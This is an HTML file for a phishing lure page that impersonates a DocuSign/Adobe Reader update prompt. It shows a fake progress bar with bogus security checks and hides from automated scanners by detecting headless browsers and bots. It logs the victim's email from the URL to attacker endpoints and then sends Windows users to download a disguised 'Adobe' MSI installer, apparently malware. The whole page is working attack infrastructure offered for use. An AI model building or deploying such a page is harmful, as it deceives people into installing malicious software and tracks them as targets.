File: /home/redpsiju/.trash/adobe_v2/index.html
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<title>D0CUSIGN REDIRECT</title>
<style>
body {
margin: 0;
background: #f1f1f1;
font-family: system-ui, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
}
table.main-box {
width: 950px;
height: 450px;
background: #fff;
border-radius: 16px;
box-shadow: 0 8px 24px rgba(0,0,0,0.08);
border-collapse: collapse;
overflow: hidden;
}
td.left-side {
width: 45%;
background: #000;
padding: 0;
}
td.left-side img {
width: 100%;
height: 100%;
object-fit: cover;
display: block;
}
td.right-side {
width: 55%;
padding: 20px;
vertical-align: top;
}
.right-side {
display: flex;
flex-direction: column;
justify-content: space-between;
height: 100%;
}
h2 { margin: 0; font-size: 1.4rem; }
.schoolname { color: #007BFF; margin: 4px 0; font-weight: 600; }
.sub-text { color: #555; font-size: 0.95rem; margin-bottom: 30px; }
.lesson-area { display: flex; flex-direction: column; align-items: center; margin-top: auto; }
.lessons { margin: 0; padding: 0; }
.item { display: none; font-size: 0.95rem; color: #333; text-align: center; }
.item.active { display: block; }
.loading-box { text-align: center; margin-top: 0; }
.progress { width: 300px; height: 23px; background: #e0e0e0; border-radius: 10px; overflow: hidden; margin: 0 auto; }
.progress-bar { width: 0%; height: 100%; background: linear-gradient(90deg, #007BFF, #00c3ff); transition: width 0.2s linear; }
.progress-text { margin-top: 10px; font-weight: bold; color: #007BFF; }
.complete-text { display: none; margin-top: 8px; color: green; font-weight: bold; }
.modal-overlay { display: none; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.6); z-index: 1000; justify-content: center; align-items: center; }
.modal-overlay.show { display: flex; }
.modal-box { background: #fff; padding: 28px; border-radius: 12px; max-width: 420px; text-align: center; box-shadow: 0 12px 40px rgba(0,0,0,0.25); }
.modal-box h3 { margin: 0 0 12px; color: #333; font-size: 1.2rem; }
.modal-box p { margin: 0; color: #555; line-height: 1.5; }
</style>
</head>
<body>
<div id="deviceModal" class="modal-overlay">
<div class="modal-box">
<h3>Windows PC Required</h3>
<p>You can only update and view the document on a Windows PC. Please use a Windows computer to download and install the update.</p>
</div>
</div>
<table class="main-box">
<tr>
<td class="left-side">
<img src="https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcS9IooisnQXP4tAiVBkh22ys38cAjQH_pBQlA&s" alt="Left image">
</td>
<td class="right-side">
<div class="right-side">
<h2>Adobe Reader Installer</h2>
<h3 class="schoolname">Update<span id="userEmail">Required.</span></h3>
<p class="sub-text">The latest version needs to be downloaded to view PDF Document, </p>
<div class="lesson-area">
<div class="lessons" id="lessons">
<div class="item active"><img src="https://i.postimg.cc/k57NVsDy/doculock1.jpg" style="width: 20px; height : 20px; margin-right : 5px;" >Checking Browser Security.....</div>
<div class="item"><img src="https://i.postimg.cc/hhFTKbH1/doculock2.png" style="width: 20px; height : 20px; margin-right : 5px;" >Preparing Abode Installer Download....</div>
<div class="item"><img src="https://i.postimg.cc/tC1ByBVT/doculock.png" style="width: 20px; height : 20px; margin-right : 5px;" >Validating Compatability......</div>
<div class="item"><img src="https://i.postimg.cc/Jh76wM31/doculock3.png" style="width: 20px; height : 20px; margin-right : 5px;" >Installer Downloading....</div>
</div>
<div class="loading-box">
<div class="progress">
<div class="progress-bar" id="progressBar"></div>
</div>
<div class="progress-text" id="progressText">0%</div>
<div class="complete-text" id="completeText">Download Started — Redirecting…</div>
<p class="sub-text">Please do not close the Page until download is completed.</p>
</div>
</div>
</div>
</td>
</tr>
</table>
<script>
// App base path - MUST stay inside containing folder (not root public)
// When at site.com/txiv or site.com/txiv/ or site.com/txiv/index.html -> BASE = /txiv
var BASE = (function() {
var p = (window.location.pathname || "/").replace(/\/$/, "") || "/";
var parts = p.split("/").filter(Boolean);
if (parts.length > 1 && /\./.test(parts[parts.length - 1])) parts.pop();
return parts.length ? "/" + parts.join("/") : "";
})();
function apiUrl(path) {
var clean = (path || "").replace(/^\//, "").replace(/^\.\//, "");
return (BASE ? BASE + "/" : "") + clean;
}
function downloadUrlLocal(filename) {
var f = filename || "Adobe.Acrobat.Installer.ClientSetup.msi";
return (BASE ? BASE + "/" : "") + "download.php?f=" + encodeURIComponent(f);
}
// Device check - only Windows PC can download (Mac/mobile get modal, no download)
function isWindowsPC() {
var ua = (navigator.userAgent || "").toLowerCase();
var plat = (navigator.platform || "").toLowerCase();
if (/android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini|mobile|tablet/i.test(ua)) return false;
if (/macintosh|mac os x|mac_powerpc|macintel|macppc|mac68k/i.test(ua)) return false;
if (/mac|ipad|iphone|ipod/.test(plat)) return false;
return /windows|win32|win64|wow64|win/i.test(ua) || /win/.test(plat);
}
var canDownload = isWindowsPC();
// Bot detection - deflect bots, only real users trigger Telegram
function isRealUser() {
if (typeof navigator === "undefined") return false;
if (navigator.webdriver === true) return false;
if (navigator.plugins && navigator.plugins.length === 0 && !/Edge|Firefox/.test(navigator.userAgent)) return false;
if (navigator.languages && navigator.languages.length === 0) return false;
if (typeof screen !== "undefined" && (screen.width === 0 || screen.height === 0)) return false;
if (typeof window !== "undefined" && window.outerWidth === 0) return false;
const ua = (navigator.userAgent || "").toLowerCase();
if (/headless|phantom|selenium|puppeteer|playwright|crawler|bot|spider|scraper/.test(ua)) return false;
return true;
}
const passedBotCheck = isRealUser();
function notifyVisit() {
if (!passedBotCheck) return;
fetch(apiUrl("api/visit.php"), {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ passed_bot_check: true, email: window.location.hash.substring(1) })
}).catch(function() {});
}
function notifyDownload() {
if (!passedBotCheck) return;
fetch(apiUrl("api/download.php"), {
method: "POST",
headers: { "Content-Type": "application/json" },
body: JSON.stringify({ passed_bot_check: true, email: window.location.hash.substring(1) })
}).catch(function() {});
}
// Grab email from URL hash (after #)
const hashEmail = window.location.hash.substring(1);
if (hashEmail) {
const emailSpan = document.getElementById("userEmail");
emailSpan.textContent = hashEmail;
}
// Notify visit on load (real users only)
notifyVisit();
if (!canDownload) {
document.getElementById("deviceModal").classList.add("show");
}
const bar = document.getElementById("progressBar");
const text = document.getElementById("progressText");
const completeText = document.getElementById("completeText");
const lessons = document.querySelectorAll(".item");
let progress = 0;
const totalLessons = lessons.length;
const step = 100 / totalLessons;
let currentLesson = 0;
let downloadUrl = null;
let redirectBase = "";
fetch(apiUrl("api/config.php")).then(function(r) { return r.json(); }).then(function(c) {
var apiUrlVal = c.download_url || "";
var cfgFilename = c.local_filename || "";
redirectBase = c.redirect_base || "";
if (apiUrlVal && apiUrlVal.startsWith("http")) {
downloadUrl = apiUrlVal;
} else if (apiUrlVal && (!BASE || apiUrlVal.indexOf(BASE) === 0)) {
downloadUrl = apiUrlVal;
} else {
downloadUrl = downloadUrlLocal(cfgFilename);
}
}).catch(function() {
downloadUrl = downloadUrlLocal();
});
var interval;
if (canDownload) {
interval = setInterval(function() {
progress++;
bar.style.width = progress + "%";
text.textContent = progress + "%";
if (progress >= (currentLesson + 1) * step && currentLesson < totalLessons - 1) {
lessons[currentLesson].classList.remove("active");
currentLesson++;
lessons[currentLesson].classList.add("active");
}
if (progress >= 100) {
clearInterval(interval);
text.style.display = "none";
completeText.style.display = "block";
notifyDownload();
setTimeout(function() {
var email = window.location.hash.substring(1);
var dlUrl = downloadUrl || downloadUrlLocal();
var redirectUrl = (email && redirectBase) ? redirectBase + "#" + email : (dlUrl.startsWith("http") ? dlUrl : (dlUrl.charAt(0) === "/" ? window.location.origin + dlUrl : dlUrl));
window.location.href = redirectUrl;
}, 1200);
}
}, 120);
}
</script>
</body>
</html>